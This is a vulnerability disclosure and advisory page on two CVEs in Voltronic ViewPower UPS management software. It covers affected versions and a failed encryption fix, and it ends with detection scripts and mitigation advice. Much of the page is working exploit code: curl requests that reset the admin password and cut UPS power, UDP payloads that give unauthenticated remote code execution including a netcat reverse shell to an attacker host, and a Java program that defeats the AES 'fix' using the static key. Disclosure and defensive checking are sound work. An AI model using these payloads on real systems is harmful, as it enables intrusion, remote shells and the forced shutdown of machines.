CVE-2022-31491, CVE-2022-43110 - Voltronic Viewpower/Pro and rebrands/derivatives
Overview
The Voltonic Viewpower/ViewPowerPro software (just referred to as ViewPower from this point forward) is designed to manage/monitor UPS (Uninteruptable Power Supply) systems. The software has several design shortcomings that lead to critical vulnerabilities, including a trivially exploited single packet RCE (Remote Code Execution) vulnerability that requires no special tooling on the part of the attacker.
According to Voltronics own website (wayback machine option) they are ...100% ODM... and ...do not compete with our customers in any market segments. As such, The Voltronic software appears to also be rebranded/resold under other names. NetGuard (PowerShield) is one such known variant.
There is no exhaustive list of other rebranded versions of this software known to us at this time. Voltronic have been silent.
The Voltronic Editions/Versions
As mentioned, the Voltronics main website itself has 2 main editions, ViewPower and ViewPowerPro (again, in general when we mention ViewPower we mean both/either). Interestingly the versions listed on the website are actually different to what you get in the installer. We have no idea about the version control processes at Voltronic, so sorry if this adds to your confusion.
As at 17th June 2025, the table below hopefully paints this picture a little better using the Windows versions available as an example. Click version links for image of website or add/remove. Take care even when downloading for other Operating Systems that you get what you expect.
| Edition | Link | Website version | Installed version | Status | |
|---|---|---|---|---|---|
| ViewPower | Downloads | 1.04-21344 | 1.04-21353 | Confirmed still vulnerable to both CVE-2022-43110 and CVE-2022-31491 |
|
| ViewPowerPro | Downloads | 2.0-20363 | 2.0-22165 | Confirmed as still vulnerable to CVE-2022-31491 |
Other places we've found it hosted
Apart from the Voltronic main website, there appear to be different (and newer) versions again of ViewPower/Pro hosted on different sites, some of them are resellers of the UPS hardware and thus also host the ViewPower/Pro software. One example is www.power-software-download.com They appear to be signed as expected. This again raises questions around version control, of which we don't know the answers, but its important you're aware of it regardless.
As at 17th June 2025, the table below hopefully paints this picture a little better using the Windows versions from www.power-software-download.com as an example. They're clearly newer versions for at lease one of these than on the main Voltronic Website. This list is not exhaustive and may not be updated. It is however an example of why you need to be careful around the version you have installed/downloaded.
| Edition | Link | Installed version | Status | |
|---|---|---|---|---|
| ViewPower | Downloads | 1.04-24215 | Confirmed still vulnerable to CVE-2022-31491 |
|
| ViewPowerPro | Downloads | 2.0-22165 | Confirmed as still vulnerable to CVE-2022-31491 |
As at 27th Aug 2025, we found an attempted fix published at www.power-software-download.com. They now have some version mismatching going on between what the website announced and the actual version that installs. The attempted fix implemented in verion 1.04.25210 uses encryption and is easily circumvented (see later section on failed "encryption fix"). This fix on its own just changes the way the payload needs to be formatted. Its still a full RCE. There is also no announcement on the website about this attempted fix, any mention of the CVE or even a simple advisory.
| Edition | Link | Website version | Installed version | Status | |
|---|---|---|---|---|---|
| ViewPower | Downloads | 1.04-25210 | 1.04-25210 | Confirmed still vulnerable to CVE-2022-31491 with change to the format of the payload. Full RCE. |
|
| ViewPowerPro | Downloads | 2.0-25210 | 2.0-22165 mismatch | Confirmed as still vulnerable to CVE-2022-31491 |
As at 24th March 2026, ViewPower 1.04.25300 fix published around December 2025 (according to Wayback) at www.power-software-download.com. ViewPowerPro is still vulnerable and has some version mismatching going on between what the website announced and the actual version that installs. Still no announcement mentioning any CVE.
| Edition | Link | Website version | Installed version | Status | |
|---|---|---|---|---|---|
| ViewPower | Downloads | 1.04-25300 | 1.04-25300 | Confirmed not vulnerable to CVE-2022-31491 |
|
| ViewPowerPro | Downloads | 2.0-25210 | 2.0-22165 mismatch | Confirmed as still vulnerable to CVE-2022-31491 |
Known rebranded/variants
As at 17th June 2025, represents some known variants. There are more, so this list is not exhaustive, and probably won't be updated.
| Edition | Link | Version | Status |
|---|---|---|---|
| PowerShield Netguard | Downloads | 1.04-23292 | Confirmed fixed. NOT vulnerable to either CVE-2022-43110 or CVE-2022-31491 |
CVE-2022-43110
The UPS management software is supposed to only allow a properly Authenticated and Authorized admin user using a web interface to configure the system.
Due to CWE-425: Direct Request ('Forced Browsing') an unauthorised, unauthenticated remote attacker can make changes to the system including:
- Force set the web interface admin password.
- View/change system configuration.
- Enumerate connected UPS devices.
- Shut down connected UPS devices.
# Bash... get your Kali up. CVE-2022-43110 PoC. v1.02 across some ViewPower and NetGuard variants
# https://www.ready2disclose.com/vpow-31491-43110/
# Force the admin password on ViewPower to be "haxor123"
curl -X POST -d 'password=haxor123' http://172.16.200.149:15178/ViewPower/login/updatePassword
# Same as above but for old vulnerable version of NetGuard. Note the url and port difference
curl -X POST -d 'password=haxor123' http://10.1.1.2:15180/NetGuard/login/updatePassword
# List all the connected UPS devices. Will dump something like:
# "name":"USB (id=11A74F29_PMV)". This will give a portName=USB11A74F29 for other commands.
curl -X POST http://192.168.2.163:15180/NetGuard/initDeviceTree
# Expanding on the above, turn the relevant UPS power sockets off. Bye bye UPS connected machines.
curl -X POST -d 'portName=USB11A74F29&type=powerCtrlOFF' http://192.168.2.163:15180/NetGuard/control/realTimeCtrl
# Once you run this... if the connected machine is powered by that UPS, then its just GONE :) No electricity = No computer
# Change the settings around what to do when the UPS loses power. Note first parameter for command to run "hackthat.bat"
curl -X POST http://172.16.200.149:15178/ViewPower/shutdown/updateLocalShutdown --data-binary $'excuteProgram=hackthat.bat&batModeShutdownTime=0&batModeShutdownSeconds=0&modeShutdown=1&batModeShutdownTime2=7&batModeShutdownSeconds2=0&batCapacity=0&oscmd=&lowBatShutdownUPS=0&shutdownMode=0&shutdownTime=1&excuteProgramTime=4&cancelShutExcute=&beforeAlertTime=2&alertIntervalTime=0'
CVE-2022-31491
The UPS management software normally allows a properly Authenticated and Authorized user using a web interface to configure the system to run a single "shutdown" command of the users choosing when the software detects a managed UPS is shutting down. For example stop a batch job or send an alert to another system via a single command.
- The Web front-end authenticates the user, and puts the setting for "shutdown" into the datastore.
- The Back-end watches the UPS waiting for a power failure, reads the "shutdown" command from the datastore and sends it to the monitor over UDP port 33654 (43654 for Pro).
- The Monitor listens on ANY network interface on UDP port 33654 (43654 for Pro) for any inbound packet with the correct format and sends the data directly to the OS to execute.
Due to this critical underlying function within the Monitor being exposed over the network (UDP port 33654/43654 listening on ALL interfaces IPv4/IPv6) bypassing Authentication and Authorization CWE-749: Exposed Unsafe Active Functionality, a remote attacker can send UDP packets in the form "exec### commandtoexecute" to run arbitrary code immediately.
# Bash... get your Kali up. CVE-2022-31491 PoC. v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/
# Make linux victim (172.16.200.134) give a reverse shell back to linux attacker (172.16.200.140)
# My favorite... simple single UDP packet RCE :)
# On attacker, get nc listener ready: nc -nlvp 8080
echo -n "exec### nc -e /bin/bash 172.16.200.140 8080" >/dev/udp/172.16.200.134/33654
# Make a windows victim start notepad using standard UDP port 33654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/33654
# Same as above, but a Pro version on the alternate UDP port 43654
echo -n "exec### notepad.exe" >/dev/udp/192.168.2.170/43654
# Make a victim machine ping something. For added fun use a canary domain
echo -n "exec### ping 192.168.2.101" >/dev/udp/192.168.2.168/33654
#!/usr/bin/env python3
# CVE-2022-31491 PoC v1.02 across ViewPower and variants
# https://www.ready2disclose.com/vpow-31491-43110/
import socket
# ---- CONFIG ---- Victim IPv6 address
ipv6_address = "fe80::fe2c:3ba2:819e:e11e"
port = 33654 # 43654 for pro version/derivative
message = b"exec### notepad.exe"
# ---- CONFIG ---- Attacker interface to use to reach victim
interface = "eth1" # Local machines interface to send IPv6 packet...
# Create IPv6 UDP socket
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
# Send packet
sock.sendto(message, (ipv6_address, port, 0, socket.if_nametoindex(interface)))
sock.close()
print(f"Sent '{message.decode()}' to [{ipv6_address}]:{port}")
CVE-2022-31491 on GitHub PoC and Metasploit (Metasploit includes encryption fix workaround)
CVE-2022-31491 - Failed "encryption fix" attempted
The developers across various releases of ViewPower/derivatives attempted to "encrypt" the previous in-the-clear UDP packet. This failed. Although they did use a valid library for AES, they didn't use the library in accordance with recommended practices. The design exhibits multiple critical cryptographic weaknesses: static key embedding, IV reuse, and IV/key equivalence. Key and the IV are based on the same string "VoltronicViPower".
Not only is it important to "not roll your only crypto", but you should also "use the crypto library correctly". We will chug a beer for every dev who clicks here
The metasploit module has options to push encrypted packets (now its extra spicey), completely circumventing this attempted fix. We didn't have to do that, most of us thought the PoC for encryption circumvention was enough. However Dave is a glutton for punishment and likes Ruby... so he dove back in and modded the metasploit module. MOAR POWER.
Interestlingly the encryption fix actually introduced some bugs on a few editions (so your mileage will vary) such as:
- Duplication of command to run. (can manifest in metasploit module as multiple meterpreter sessions returning)
- Termination of the underlaying process, stopping further UDP packet processing (rare)
// v1.02
// PoC to show attempted encryption fix for CVE-2022-31491 can be circumvented.
// An attempted fix for CVE-2022-31491 was apparently to encrypt the data transfer. However the AES key and IV used are known and static.
// As such this PoC encrypts the data sent to the victim using the known Key and IV. The victim is instructed to start notepad.exe
// Just for fun, do a packet capture and see that the payload can also be replayed if you like.
// https://www.ready2disclose.com/vpow-31491-43110/
//
// To use/complie:
// 1 : Crank up Kali linux
// 2 : Throw the contents of this into a file called t01.java
// 3 : Make sure your settings for victim etc are correct in void main
// 4 : run it up using command : java t01.java
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.util.Arrays;
public class t01 {
// Oops... the AES key is known and static between installs. Even better, the IV is the same as this.
public static byte[] getPublicKey() throws Exception {
return "VoltronicViPower".getBytes("utf-8");
}
public static void send(byte[] bytes, String ipAddress, int port) throws IOException {
InetAddress inetAddress;
inetAddress = InetAddress.getByName(ipAddress);
DatagramSocket ds = null;
ds = new DatagramSocket();
ds.setSoTimeout(3000);
DatagramPacket dp = new DatagramPacket(bytes, bytes.length, inetAddress, port);
ds.send(dp);
}
// Its not pretty, but its how the software wants the data represented.
public static String encryptWithoutPrivateKey(String msg) {
String len = (new StringBuilder(String.valueOf(msg.length()))).toString();
String lenlen = String.valueOf(len.length()) + len;
msg = String.valueOf(lenlen) + msg;
int reminder = msg.length() % 16;
if (reminder != 0)
for (int i = 0; i < 16 - reminder; i++)
msg = String.valueOf(msg) + " ";
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
byte[] raw = getPublicKey();
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
byte[] iv = getPublicKey();
cipher.init(1, skeySpec, new IvParameterSpec(iv));
byte[] encrypt = cipher.doFinal(msg.getBytes());
String res = Arrays.toString(encrypt).replace("[", "").replace("]", "").replace(" ", "");
return res;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
// This really isn't needed now the code works, but helped with debugging
public static String decryptWithoutPrivateKey(String msg) {
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
byte[] raw = getPublicKey();
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
byte[] iv = getPublicKey();
cipher.init(1, skeySpec, new IvParameterSpec(iv));
String[] arr = msg.split(",");
byte[] decode = new byte[arr.length];
for (int i = 0; i < arr.length; i++)
decode[i] = Byte.parseByte(arr[i]);
cipher.init(2, skeySpec, new IvParameterSpec(iv));
byte[] decrypt = cipher.doFinal(decode);
String res = new String(decrypt);
int lenlen = Integer.parseInt(res.substring(0, 1));
int len = Integer.parseInt(res.substring(1, 1 + lenlen));
res = res.substring(lenlen + 1, len + 1 + lenlen);
return res;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
public static void main(String[] args) {
System.out.println("Starting...");
// Settings etc...
String victim = "172.16.200.148"; // The IP address of the victim...
int port = 33654; // Port to use on the Victim...
// Setup some things... and go...
String msg = "exec### notepad.exe";
System.out.println("msg to send to " + victim +":" + port + " : " + msg);
// Encrypt and send it off to the victim...
String result = "";
try {
byte[] requestPRI = encryptWithoutPrivateKey(msg).getBytes(); // Encypt the payload. Known static key and known static IV are the same.
send(requestPRI, victim, port); // Send it off
} catch (Exception e) {
e.printStackTrace();
}
}
}
CVE-2022-31491 - The actual fix... now just LPE
The root cause is a specific class "cn.com.voltronic.socket.SystemTrayUDPServer.class" which is contains a routine "getServer". It listens on ALL interfaces, allowing remote/unauthenticated access to this dangerous function. The fix that the developer eventually chose that stopped it being an RCE was to instead listen on 127.0.0.1. This class is used by Windows, MacOS and Linux variants.
The image below shows the vulnerable class and matching netstat at the top. The bottom shows the 127.0.0.1 fix and he matching netstat.
As you can see, this "fix" stops remote access meaning for those versions released like this are now a LPE (Local Privilege Escalation) risk
What does that mean ? If you have this installed on a shared system, then LPE is now going to be a possible problem. Think:
- Web server gets compromised an attacker escalates privileges via the UPS software.
- Citrix (or similar) server can have a connected user leverage the UPS software to escalate.
- A different user logging in via Terminal Services escalates privaleges via the UPS software.
- Limited SSH user logon to Linux could use UPS software to escalate.
- ... the mind boggles. LOLZ... just don't use this software
Q: How can I tell if I have this software ?
If you have Viewpower/ViewpowerPro (Voltronic or a rebranded product), its interface will likely look similar to one of the images below.
There are 2 quick/dirty ways to check across your system for specific indicators like listening ports and java classes. These python scripts do this, and have been tested across Windows and Linux. Note:
- Script A - Check for the specific java class that had the initial problem and check for specific string markers.
- Script B - Check for UDP listening on the relevant ports that are not the loopback interface.
- Run these as admin/root to ensure they has access to see .jar files and network listeners.
- Usual disclaimers... Check stuff from the internet before you run it on your systems... AND these are indicative, and you should check with your vendor.
import fnmatch
import os
import sys
import zipfile
import argparse
short_info = "Scan JAR files for known GOOD/BAD relating to CVE-2022-31491 v1.7 \nRun this as admin/root"
pattern = "cn/com/voltronic/sock*" # Search all .jar files with .class that match this pattern.
tGOOD = ("SystemTrayUDPServer", "getServer", "127.0.0.1")
tFAIL = ("SystemTrayUDPServer", "getServer", "0.0.0.0")
bGOOD = [s.encode("utf-8") for s in tGOOD]
bFAIL = [s.encode("utf-8") for s in tFAIL]
def scan_jars(start_path: str, internal_pattern: str, follow_symlinks: bool) -> int:
"""
Scan recursively for .jar files and print matches found inside them.
Returns:
Total number of matches found.
"""
total_matches = 0
for root, _, files in os.walk(start_path):
for filename in files:
# We only want files that end in .jar
if not filename.lower().endswith(".jar"):
continue
jar_path = os.path.join(root, filename)
try:
# Open up the .jar file as a .zip
with zipfile.ZipFile(jar_path, "r") as jar:
# Look for all the entries that match the internal pattern...
for entry_name in jar.namelist():
if fnmatch.fnmatch(entry_name, internal_pattern):
# This filename matches... lets open/read it...
with jar.open(entry_name) as f:
#print(f"{jar_path} {entry_name}")
data = f.read() # bytes
if bGOOD:
if all(b in data for b in bGOOD):
print("[ OK ] %s %s %s" % (jar_path, entry_name, bGOOD))
if bFAIL:
if all(b in data for b in bFAIL):
print("[FAIL] %s %s %s" % (jar_path, entry_name, bFAIL))
total_matches += 1
except zipfile.BadZipFile:
print(f"Skipping invalid JAR/ZIP: {jar_path}")
except PermissionError:
print(f"Permission denied: {jar_path}")
except OSError as e:
print(f"Error reading {jar_path}: {e}")
return total_matches
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=short_info)
parser.add_argument(
"--folder",
required=True,
help="Folder to scan (eg: C:\\ for windows)"
)
parser.add_argument(
"--follow-symlinks",
action="store_true",
help="Follow symbolic links (default: False)"
)
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not os.path.exists(args.folder):
parser.error(f"Path does not exist: {args.folder}")
print(f"{short_info}")
print(f"Scanning: {args.folder}")
print(f"Pattern: {pattern}")
print(f"Follow symlinks: {args.follow_symlinks}")
print("-" * 60)
results = scan_jars(args.folder, pattern, args.follow_symlinks)
print("Finished searching %s." % args.folder)
print("Found %i bad classes." % results)
import fnmatch
import os
import sys
import zipfile
import argparse
short_info = "Scan UDP known GOOD/BAD relating to CVE-2022-31491 v1.6 \nRun this as admin/root"
tGOOD = ("::1", "127.0.0.1", "::ffff:127.0.0.1")
tFAIL = ("0.0.0.0","::")
# Anything not caught in the above is considered a WARN
import psutil
def scan_udp(port): # returns the number of WARN or FAIL
found = 0
for conn in psutil.net_connections(kind='udp'):
if conn.laddr and conn.laddr.port == port:
test = conn.laddr.ip.lower()
if test in tGOOD:
res = "GOOD"
elif test in tFAIL:
res = "FAIL"
found += 1
else:
res = "WARN"
found += 1
print("[%s] %s" % (res, conn.laddr))
return found
if __name__ == "__main__":
print(f"{short_info}")
print("-" * 60)
results = 0
results += scan_udp(33654) # Standard version known port
results += scan_udp(43654) # Pro version known port
print("Found %i bad UDP listeners" % results)
Q: What should I do if I have this ?
If you have this in your environment and you can't confirm its fixed/patched, consider the following options (in no particular order). On our equipment we took the first option.
- 🗑️ Uninstall it or disconnect the machine from the network. (Hint: take this option)
- ⚠️ Same as above... Uninstall it (Hint: this is a duplicate by design... uninstall)
- 🔥 Ensure your firewalls are not allowing inbound traffic from untrusted networks on UDP ports 33654 and 43654.
- 🔥 Setup zeek/snort etc to watch for UDP traffic on ports 33654/43654 as it could indicate adversary activity.
- 🛠️ Check for a patched version/release. Which may be hard given lack of vendor advisory and CVE tracking.
- ⚠️ Stop the LPE issue by uninstalling any other 'shared' software on the machine that another user could use to reach the box, eg: Terminal Services, Shared services, Webserver
- 🧑💼 Contact the vendor/supplier. Mileage may vary on this option. Good luck.
If you find the software, and you believe you're patched... double check. Given some less than ideal version control is going on, you need to be VERY sure.
☝️ More Questions & Answers
Q: Did you try to contact Voltronic ?
A: Yes. We're also aware of other players in the IT security space that have tried and failed to get meaningful contact.
Q: What is the relationship between Voltronic and the rebranding vendors ?
A: We don't know specifics about how the relationships work with rebranding vendors, or even how the relationships between voltronic and whoever controls www.power-software-download.com works.
Q: Do you have any PoC code ?
A: Yes, for both CVEs. Also including the encryption "fix" workaround for CVE-2022-31491. They're on this page, so snoop around. Also linked at the bottom to Github.
Q: Did you write a Metasploit module ?
A: Yes, for CVE-2022-31491. It can target ViewPower/ViewPowerPro and known variants across Operating Systems and return a shell with excellent reliability. It can also circumvent the attempted encryption "fix". Look for the Github link at the bottom of the page. Here's a screenshot of an early version in action...click to enlarge
Q: Are there any "vendor" related advisories that you're aware of ?
A: We've not found anything meaningful mentioning the CVE's from Voltronic (As at 29th Aug 2025).
Q: Can you tell me more about impacted Operating Systems ?
A: We tested with ViewPower installed across multiple Windows versions, and also Linux (Ubuntu workstation). But we did not test on Mac platform. However given PowerShield issued a patch for Mac, and given the Java classes in the product we believe with certainty that Mac versions are also impacted.
Q: Does Voltronics have any sort of version control ?
A: We don't know. But we do know its difficult to know exactly which versions across the variants fix this.
Q: Does Voltronic have an AppSec program including code reviews and pentesting ?
A: We don't know. But, all the AppSec programs we have seen elsewhere would've caught these issues.
Q: Could there be other/similar issues across the rest of Voltronics software estate ?
A: We don't know.
Q: Does Voltronics take security seriously ?
A: We don't know.
Q: What if I just have the software and no actual UPS connected to that machine ?
A: It doesn't matter. The vulnerabilites still exist and can be exploited. In fact, we tested the Metasploit module against machines with a UPS connected, and ones without.
Q: How did you find these issues ?
A: As many IT professionals do, there was the purchase of several UPS units. This was followed by some curiousity about the software that came with them.
Q: Is there an official cool name for the CVE-2022-31491 vuln ?
A: No.
Q: What is with the LPE ?
A: The fix stopped the "Remote" bit in RCE. So technically the fixes that got implemented made this into a LPE problem.
Q: What is with the Encrption fix ?
A: Poor use of the AES library made it easily circumventable.
Q: I have been digging around and think I found another variant, what should I do ?
A: Use the scripts for CVE-2022-31491 to see what they return. If its linux/Mac, check manually. Contact the vendor. It's a derivative product jungle out there.
Q: How can I find some of the older versions to download and play with ?
A: The Wayback Machine is your friend.
Q: How can someone reach out to you ?
A: Home page has a contact at the bottom.
Q: What about someone reverse engineering how Powershield fixed it ?
A: Thats certainly been a possibility for quite some time, but we're not aware of anyone that has done that as yet. Perhaps nobody is bored enough. Perhaps someone has, and is only using this vuln in targetted intrusions. So yeah, technically the details of the CVE have been in plain sight for quite some time now. Even before we put the PoC code and Metasploit module up.
Q: Will you blog further about this ?
A: Maybe. Check back here in the coming weeks/months.
Q: Any disclaimer ?
A: Yes. The information/scripts provided is for general knowledge and discussion purposes only. Individuals should perform their own risk assessments and consider their specific environments and requirements before acting on any of the content. The views expressed are solely those of the author(s) and do not represent the views of any future, past or present employers. The views here may not even be those of the authors, so... like anything on the internet, check before you act.
Other links/info
Various links to stuff that we think may be relevant in some way.
v007